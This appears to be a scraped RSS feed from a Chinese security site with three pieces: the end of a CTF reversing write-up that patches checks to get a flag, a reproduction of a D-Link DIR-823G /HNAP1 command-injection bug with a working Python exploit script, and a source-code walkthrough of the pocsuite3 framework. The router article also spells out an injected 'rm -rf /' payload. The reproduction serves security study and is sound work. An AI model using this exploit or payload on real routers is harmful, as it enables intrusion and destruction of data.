<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655539.png" width="720" height="269.69072164948454"/></p>
<p>发现了check2，果然为代码啥也看不到</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655540.png" width="720" height="375.9903961584634"/></p>
<p>对比check1-2</p>
<p>发现是在检测输入的字符串的字符类型，还是冲突的，不管了继续分析</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655541.png" width="720" height="332.1170395869191"/></p>
<p>下面可以看到失败</p>
<p>往下滑动可以看到成功</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655542.png" width="720" height="153.75"/></p>
<p>什么意思？</p>
<p>我猜测这题是改条件，然后动态输出flag？还有这好事</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655544.png" width="720" height="227.85791173304628"/></p>
<p>后面都是正常输出flag了</p>
<p>那么我们现在去解密的地方回溯，估计我要改一些判断，改变流程，让程序正常走到解密的地方，然后输出flag</p>
<p><br/></p>
<p><br/></p>
<p>教大家一个回溯方法</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655545.png" width="720" height="207.39770867430443"/></p>
<p>对标签疯狂X键，交叉引用定位回溯</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655546.png" width="720" height="188.92696122633004"/></p>
<p>最终定位到密文，发现是aes_128_cbc模式</p>
<p>需要：key+IV+密文=明文</p>
<p>这是一种思路，大家可以尝试</p>
<p>本文修改流程，让他自动输出明文</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655547.png" width="720" height="139.89949748743717"/></p>
<p>现在的思路就是：</p>
<p>x键回溯定位关键标签，修改关键判断</p>
<p>让程序自动走向解密</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655548.png" width="720" height="112.09580838323353"/></p>
<p>nop掉check1 和 check2</p>
<p>让他们走向自动解密的方向</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503061655549.png" width="720" height="168.66932270916334"/></p>
<p>最终运行程序得到flag，静态patch流程，绕过check1-chekc2</p>
<pre>apoorvctf{P4tch_1t_L1k3_1t&#39;s_HOt}</pre>
<p>这在我们国内比赛还是很少见到的，国内大概率要写脚本解密，或许国内认为加密才是CTF的重点。国外侧重逆向本身，如果可以patch修改流程得到flag，为什么要去写解密脚本呢？</p>
<p>锻炼了我们通过汇编分析程序流程的能力，而不是为代码一键分析。</p>
<p>&nbsp;&nbsp;</p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/205975.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>路由器安全研究：D-Link DIR-823G v1.02 B05 复现与利用思路</title>
		<link>https://www.secpulse.com/archives/206007.html</link>
		<comments>https://www.secpulse.com/archives/206007.html#comments</comments>
		<pubDate>Wed, 26 Mar 2025 10:33:38 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=206007</guid>
		<description><![CDATA[<h2>前言</h2>
<p>D-Link DIR-823G v1.02 B05存在命令注入漏洞，攻击者可以通过POST的方式往 /HNAP1发送精心构造的请求，执行任意的操作系统命令。</p>
<h2>漏洞分析</h2>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627654.png" width="720" height="331.74946004319656"/></p>
<p>binwalk提取固件，成功获取到固件。</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627223.png" width="720" height="71.90283400809717"/></p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627189.png" width="720" height="108.87417218543047"/></p>
<p>现在我们已经进入到应用里了，那么我们在进行分析固件的时候，应该怎么去分析这个情况？首先，我们去分析别人的漏洞，别人是会告诉哪里会出现问题。但是我们现在假设我们是分析一个未知固件，我们就得先知道这个固件有哪些应用，启动了哪些服务，最清晰和简便的方式就是去看我们etc文件下面，里面有个叫init.d的目录，里面是关于启动项的内容。</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627502.png" width="720" height="142.08"/></p>
<p>我们首先来看rcS下面的内容&nbsp;<code>vim rcS</code></p>
<p>首先是设置ip，然后挂载了两个文件系统分别是proc，这是与进程相关的文件系统，包括当前进程启动存放在哪个地址。</p>
<p>还有ramfs文件系统，根据以前的笔记，可知ramfs文件系统跟RAM相关。</p>
<p>然后下面就是判断是否还有挂载别的文件系统。</p>
<p>然后mkdir就是创建各种各样的文件夹，都有对应的功能，比如说创建了pptp文件夹，针对拨号上网的功能，然后还有smbd服务，可以看到创建了一个usb的文件夹，说明该固件有可以跟usb也就是U盘相关的操作，接下来都是一些配置信息。</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627508.png" width="720" height="499.54397394136805"/></p>
<p>继续往下翻</p>
<p>可以看到该固件启动了web server的web服务，也就是httpd的内容，这里启动的是goahead，通过这个名字，我们可以确定web服务就是goahead，如果想要分析web服务的话，就直接分析goahead就可以。</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627492.png" width="720" height="368.48722986247543"/></p>
<p>我们回到squashfs-root目录下，搜索goahead的一些简单情况</p>
<pre>grep&nbsp;-ir&nbsp;&quot;goahead&quot;&nbsp;.</pre>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627772.png" width="720" height="143.37436640115857"/></p>
<p>最下面是两个启动项的内容，可以忽略，然后第一行是bin的可执行应用，这个其实就是我们最后分析的内容。</p>
<p>那如何分析呢？它是一个HNAP1请求，那就可以去检索我们的HANP1请求</p>
<pre>grep&nbsp;-ir&nbsp;&quot;HNAP1&quot;&nbsp;.</pre>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627343.png" width="720" height="256.7"/></p>
<p>可以看到它检索到一些js代码，js代码对我们来说一般，(比较我们是找二进制相关的漏洞)</p>
<p>但是，我们可以发现它匹配了一个二进制程序，也就是goahead。</p>
<p>这里我们先科普一下goahead的一些情况：</p>
<p>GoAhead ，它是一个源码,免费、功能强大、可以在多个平台运行的嵌入式WebServer。</p>
<p>goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数。</p>
<p>它在进行编写与它相关的请求，是通过websUrlHandlerDefine来确定的。</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px">websUrlHandlerDefine(T(<span class="cm-string">&quot;/HNAP1&quot;</span>)，NULL,0, websHNAPHandler,0);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">websUrlHandlerDefine(T(<span class="cm-string">&quot;/goform&quot;</span>)，NULL,0, websFormHandler,0);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">websUrlHandlerDefine(T(<span class="cm-string">&quot;/cgi.bin&quot;</span>)，NULL,0, websCgiHandler,0);</span></pre>
<p>使用ghidra进行逆向分析，goahead二进制文件在squashfs-root目录下的bin目录下</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627266.png" width="720" height="422.09606986899564"/></p>
<p>那进入到goahead反编译界面该如何分析呢？一种是找到main函数去进行分析，比较耗时</p>
<p>一种是通过关键字来搜索，反推调用情况，来推测每个功能的解析情况 ctrl+shift+E</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627385.png"/></p>
<p>匹配成功，停在指定区域</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627420.png" width="720" height="253.17073170731706"/></p>
<p>但是它所对应的反编译代码还是很多的，所以我们可以通过反编译出来的函数名，进行查看它的调用关系。</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171627726.png" width="720" height="412.994923857868"/></p>
<p>一路往下翻，终于找到我们所要的东西</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628708.png" width="720" height="360.46814044213266"/></p>
<p>而且我们看到，这个函数继续往上调的话就是main函数了，所以其实一开始也是可以从main函数来分析的(0.0)</p>
<p>所以现在我们可以重点来分析这个函数</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628759.png" width="720" height="581.1251435132032"/></p>
<p>前面还是做一些判断，然后请求还有不止HNAP1，对应的都是一个函数。</p>
<p>同一个函数做的事情，类似于websUrlHandlerDefine这个函数，那HANP1对应的函数是</p>
<p>FUN_0042383c，那就双击进去看看</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628662.png"/></p>
<p>这里就是漏洞点，这里执行了memset和snprintf，一般来说这里应该是不存在漏洞点，但是下面一条语句是system，也就是把格式化化的字符串直接就拿到了system函数作为参数传递进去，而snprintf这里的参数有个echo，有个单引号问题。</p>
<p>比如说正常代码</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#!/bin/bash</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">read <span class="cm-attribute">-p</span> <span class="cm-string">&quot;Enter your name: &quot;</span> name</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-builtin">echo</span> <span class="cm-string">&#39;Hello, &#39;</span><span class="cm-def">$name</span><span class="cm-string">&#39;!&#39;</span></span></pre>
<p><strong style="padding: 0px;margin: 0px">攻击步骤</strong>：</p>
<p><strong style="padding: 0px;margin: 0px">正常输入</strong>：用户输入&nbsp;<code>Alice</code>，输出：</p>
<pre>Hello,&nbsp;Alice!</pre>
<p><strong style="padding: 0px;margin: 0px">恶意输入</strong>：用户输入&nbsp;<code>&#39;$(id)&#39;</code>，此时脚本实际执行的命令变为：</p>
<pre>echo&nbsp;&#39;Hello,&nbsp;&#39;&#39;$(id)&#39;!&#39;</pre>
<p>输出：</p>
<pre>Hello,&nbsp;$(id)!</pre>
<p><strong style="padding: 0px;margin: 0px">单引号内的&nbsp;<code>$(id)</code>&nbsp;不会被执行</strong>，暂时安全。</p>
<p><strong style="padding: 0px;margin: 0px">更危险的输入</strong>：用户输入&nbsp;<code>&#39; &amp;&amp; rm -rf / #</code>，命令变为：</p>
<pre>echo&nbsp;&#39;Hello,&nbsp;&#39;&#39;&nbsp;&amp;&amp;&nbsp;rm&nbsp;-rf&nbsp;/&nbsp;#&#39;!</pre>
<p>此时，第一个单引号被用户输入的&nbsp;<code>&#39;</code>&nbsp;闭合。<code>&amp;&amp; rm -rf /</code>&nbsp;成为独立命令，在&nbsp;<code>echo</code>&nbsp;之后执行。<code>#</code>&nbsp;注释掉后续的&nbsp;<code>&#39;!</code>，避免语法错误。</p>
<p>那么会导致<code>rm -rf /</code>&nbsp;会被执行，删除系统文件！</p>
<p>所以，如果我们构造一些恶意的代码写入到snprintf中，再传递到system函数，就会造成命令注入漏洞。</p>
<p>但是我们要进到漏洞点的话，还需要满足函数上面的一些要求。</p>
<p>所以我们得符合上面函数的一些限制才能进入到漏洞点来，这里先取了PTR_s_SetMultipleActions_00588d80的首地址，赋值给DAT_0058a6c4，然后DAT_0058a6c4自身判断和自加2来进行循环判断，用strstr函数查找DAT_0058a6c4在param_+0x524中出现的位置，并赋值给pcVar1，如果pcVar1的值不为0的话，就会进入到我们的漏洞点来。</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628682.png"/></p>
<p>DAT_0058a6c4与PTR_s_SetMultipleActions_00588d80相关，双击进去看看</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628065.png" width="720" height="457.9378881987578"/></p>
<p>可以看到里面都是它对应的一些方法，比如说SetMultipleActions之类的。</p>
<p><br/></p>
<p><br/></p>
<h2>固件模拟</h2>
<p>分析到这里，基本上是明朗了，接下来就要进行固件模拟操作，使用firmadyne模拟固件启动。</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628351.png" width="720" height="210.6474820143885"/></p>
<pre>sudo&nbsp;./DIR823G_V1.0.2B05_20181207.sh</pre>
<p>然后firmadyne默认的密码就是firmadyne</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628624.png" width="720" height="504.35064935064935"/></p>
<p>得等一段时间，然后192.168.0.1</p>
<p>但是这个一直搞不定，模拟不起来，也不知道是什么原因，排查不出。</p>
<p>然后换成了firmware analysis plus (fap)这个框架，就模拟起来了</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628702.png" width="720" height="300.76561450638013"/></p>
<p>等一段时间后，回车，就可以模拟起来了，输入192.168.0.1</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628002.png" width="720" height="415.5246523388116"/></p>
<p>进入向导，随便输入点东西</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628608.png" width="720" height="483.5820895522388"/></p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628104.png" width="720" height="508.6342229199372"/></p>
<p>密码8位，输入12345678</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628170.png" width="720" height="481.4035087719298"/></p>
<p>然后就开始配置一些内容，同时可以注意到左侧已经把一些数据写入到关键的文件夹中</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628775.png" width="720" height="354.92957746478874"/></p>
<p>配置完毕，登录，成功进入路由器</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628957.png" width="720" height="391.0025706940874"/></p>
<h2>exp编写</h2>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">#!/usr/bin/env python</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">#-*- coding:utf-8 -*-</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">requests</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">ip</span><span class="cm-operator">=</span><span class="cm-string">&#39;192.168.0.1&#39;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">command</span><span class="cm-operator">=</span><span class="cm-string">&quot;&#39;`echo aaaaaaaaa &gt; /web_mtn/test.txt`&#39;&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">length</span><span class="cm-operator">=</span><span class="cm-builtin">len</span>(<span class="cm-variable">command</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">headers</span><span class="cm-operator">=</span><span class="cm-variable">requests</span>.<span class="cm-property">utils</span>.<span class="cm-property">default_headers</span>()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">headers</span>[<span class="cm-string">&quot;Content-Length&quot;</span>]<span class="cm-operator">=</span><span class="cm-builtin">str</span>(<span class="cm-variable">length</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">headers</span>[<span class="cm-string">&quot;User-Agent&quot;</span>]<span class="cm-operator">=</span><span class="cm-string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">headers</span>[<span class="cm-string">&quot;SOAPAction&quot;</span>]<span class="cm-operator">=</span><span class="cm-string">&#39;&quot;http://purenetworks.com/HNAP1/GetClientInfo&quot;&#39;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">headers</span>[<span class="cm-string">&quot;Content-Type&quot;</span>]<span class="cm-operator">=</span><span class="cm-string">&quot;text/xml; charset=UTF-8&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">headers</span>[<span class="cm-string">&quot;Accept&quot;</span>]<span class="cm-operator">=</span><span class="cm-string">&quot;*/*&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">headers</span>[<span class="cm-string">&quot;Accept-Encoding&quot;</span>]<span class="cm-operator">=</span><span class="cm-string">&quot;gzip, deflate&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">headers</span>[<span class="cm-string">&quot;Accept-Language&quot;</span>]<span class="cm-operator">=</span><span class="cm-string">&quot;zh-CN,zh;q=0.9,en;q=0.8&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">payload</span><span class="cm-operator">=</span><span class="cm-variable">command</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">r</span><span class="cm-operator">=</span><span class="cm-variable">requests</span>.<span class="cm-property">post</span>(<span class="cm-string">&#39;http://&#39;</span><span class="cm-operator">+</span><span class="cm-variable">ip</span><span class="cm-operator">+</span><span class="cm-string">&#39;/HNAP1/&#39;</span>, <span class="cm-variable">headers</span><span class="cm-operator">=</span><span class="cm-variable">headers</span>, <span class="cm-variable">data</span><span class="cm-operator">=</span><span class="cm-variable">payload</span>)</span></pre>
<p>因为是http请求，所以我们使用requests，然后设置ip，设置命令，构造报头，最后post请求将HNAP1，headers和payload都传过去。</p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628439.png" width="720" height="65.7"/></p>
<p><img alt="Image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202503171628715.png"/></p>
<p>复现完毕，ctrl+a 然后x结束固件模拟。</p>
<p>&nbsp;&nbsp;</p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/206007.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>pocsuite3安全工具源码分析</title>
		<link>https://www.secpulse.com/archives/205913.html</link>
		<comments>https://www.secpulse.com/archives/205913.html#comments</comments>
		<pubDate>Thu, 20 Feb 2025 10:50:28 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[工具]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=205913</guid>
		<description><![CDATA[<p><strong style="padding: 0px;margin: 0px">pocsuite3 是由 知道创宇 404实验室 开发维护的开源远程漏洞测试和概念验证开发框架。为了更好理解其运行逻辑，本文将从源码角度分析该项目的初始化，多线程函数，poc模板等等源码。</strong></p>
<h1>项目结构</h1>
<p><img alt="IMG_256" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711834.png" width="720" height="858.4615384615385"/></p>
<p>api：对要导入的包重命名，方便后续导入调用data：存储用户需要使用的文档数据lib：项目核心代码modules：存储用户自定义的模块plugins：存储用户自定义的插件pocs：存储poc文件shellcodes：存储生成php，java，python等脚本语言的利用代码，以及反弹shell的利用代码cli.py：项目的入口console.py：命令行界面</p>
<p>进入项目入口：/pocsuite3/cli.py</p>
<p><img alt="IMG_257" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711836.png" width="720" height="350.72"/></p>
<p>check_environment() #检查当前工作目录是否符合当前系统set_paths(). #设置后续需要用到的数据，目录信息banner() #打印命令行页面的横幅</p>
<p>init_options(cmd_line_parser().<strong style="padding: 0px;margin: 0px">dict</strong>) # 命令行参数处理跟进cmd_line_parser()查看：</p>
<p><img alt="IMG_258" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711837.png" width="720" height="466.6350710900474"/></p>
<p>此处注意一个参数-c</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px">target.add_argument(&quot;-c&quot;, dest=&quot;configFile&quot;, help=&quot;Load options</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">from a configuration INI file&quot;)</span></pre>
<p>可以先在pocsuite.ini配置好参数，通过pocsuite -c pocsuite.ini 运行</p>
<p><img alt="IMG_259" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711838.png" width="720" height="499.87261146496814"/></p>
<p>双重跟进init_options()，找到命令行存储参数：</p>
<p><img alt="IMG_260" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711839.png" width="720" height="550.7311586051743"/></p>
<p>可见采用了类似字典的形式存储，避免了重复数据且还有其它四个参数也采用了该形式存储，五个参数贯穿整个项目</p>
<p><br/></p>
<p><br/></p>
<p><br/></p>
<p>conf：存储基本配置信息kb：存储了目标地址、加载的PoC、运行模式、输出结果、加载的PoC文件地址、多线程信息等cmd_line_options：是存储命令行输入的参数值merged_options：存储输入值与默认值合并后的结果paths：存储数据、插件、poc等目录地址</p>
<p>参数获取处理完后，进入项目初始化，init()函数，一下对部分函数进行注解分析：</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px">def init():</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">&quot;&quot;&quot;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Set attributes into both configuration and knowledge base singletons</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">based upon command line and configuration file options.</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">&quot;&quot;&quot;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">set_verbosity() #日志输出级别设置</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_adjust_logging_formatter() #调整日志格式器</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_cleanup_options() #将各个配置项格式化，并校验合法性</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_basic_option_validation() #校验seebug,zoomeye等api,token的合法性</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_create_directory() #检测文件路径是否存在，不存在则创建</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_init_kb_comparison()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">update()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_set_multiple_targets() #读取目标</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_set_user_pocs_path()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_set_pocs_modules() #动态加载poc</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_set_plugins() #动态加载插件</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_init_targets_plugins()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_init_pocs_plugins()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_set_task_queue() #初始化多线程设置</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">_init_results_plugins() #初始化输出插件</span></pre>
<h1>AttribDict类解析</h1>
<p>前文也提到过以下五个全局变量，它们均通过创建AttribDict类的实例进行使用，现在我们跟进类详细分析：</p>
<p><img alt="IMG_256" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711840.png"/></p>
<p>AttribDict()类：</p>
<p><img alt="IMG_257" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711841.png" width="720" height="277.39376770538246"/></p>
<p>自定义类，继承自python内建的OrderedDict类，扩展访问方式，简化了对字典键的访问。主要存在三个方法：<strong style="padding: 0px;margin: 0px">getattr</strong>(),<strong style="padding: 0px;margin: 0px">setattr</strong>(),<strong style="padding: 0px;margin: 0px">delattr</strong>()这三个方法在if判断逻辑均相同：1:以双下划线 __ 开头（例如，Python 的内置属性，如&nbsp;<strong style="padding: 0px;margin: 0px">dict</strong>）。2:以 _OrderedDict__ 开头（因为 OrderedDict在内部实现中使用的名称）。3:名字存在于&nbsp;<strong style="padding: 0px;margin: 0px">exclude_keys</strong>&nbsp;集合中（排除的键）。如果任一条件成立，说明这个属性不应该通过 obj.attr访问，所以跳过使用自定义的&nbsp;<strong style="padding: 0px;margin: 0px">getattr</strong>处理，直接调用父类对应的方法访问。例：<strong style="padding: 0px;margin: 0px">getattr</strong>()就调用父类的<strong style="padding: 0px;margin: 0px">getattribute</strong>()访问</p>
<p>如果属性名不满足，则通过字典的方式，添加或者删除AttribDict中</p>
<p><img alt="IMG_258" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711842.png" width="720" height="339.2481203007519"/></p>
<h1>地址处理代码分析</h1>
<p><img alt="IMG_256" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711843.png" width="720" height="345.97402597402595"/></p>
<p>先查看存储初始数据，存在则进行下一步。通过set()创建集合方便去重，再遍历conf.url数据，通过parde_target()进行对url进行分析处理，并且在不为空的情况下调用集合的add()方法添加，完成后再将，用于临时存储的target集合里面的数据，放到kb这种全局变量内。parde_target()函数</p>
<p><img alt="IMG_257" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711844.png" width="720" height="481.2483745123537"/></p>
<p>接受参数后先if判断，如果是域名，url，ip:端口形式则直接赋值给target跟进其中一个判断函数：</p>
<p><img alt="IMG_258" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711845.png" width="720" height="100.92050209205021"/></p>
<p>跟进：</p>
<p><img alt="IMG_259" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711846.png" width="720" height="75.33888228299644"/></p>
<p>可见是通过正则进行判断。接着再判断如果为<a href="http://ipv6/">http://ipv6</a>形式，则启动ipv6配置，并进行赋值target，依旧是正则判断。</p>
<p>再判断如果为ipv4则调用python内置ip_address解析赋值，该方法自动区分ipv4或者ipv6并最后返回对应的对象。再通过else判断，对纯ipv6地址，或者ipv6网络进行解析赋值。</p>
<h1>动态poc加载</h1>
<p><img alt="IMG_256" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711847.png" width="720" height="378.90410958904107"/></p>
<p>Step1：从pocs目录加载先通过os.listdir读取对应目录，返回一个含有poc的py文件的列表。再通过filter()函数过滤<strong style="padding: 0px;margin: 0px">init</strong>.之类文件，不过此时filter()函数返回的是一个迭代器，所以又通过list()函数将数据处理成列表再赋值。（lambda x: x not in [&#39;<strong style="padding: 0px;margin: 0px">init</strong>.py&#39;,&#39;<strong style="padding: 0px;margin: 0px">init</strong>.pyc&#39;]：这个匿名函数会检查每个文件名 x 是否不等于&#39;<strong style="padding: 0px;margin: 0px">init</strong>.py&#39; 或 &#39;<strong style="padding: 0px;margin: 0px">init</strong>.pyc&#39;。）</p>
<p>再从含有类似thinkphp_poc.py的文件名中，通过x变量循环读取，并通过splitex()函数将其分为&quot;thinkphp_poc&quot;,&quot;.py&quot;格式的键值队元组。再次通过dict()字典函数，将x元组的第一个元素作为字典的键，第二个元素作为字典的值。</p>
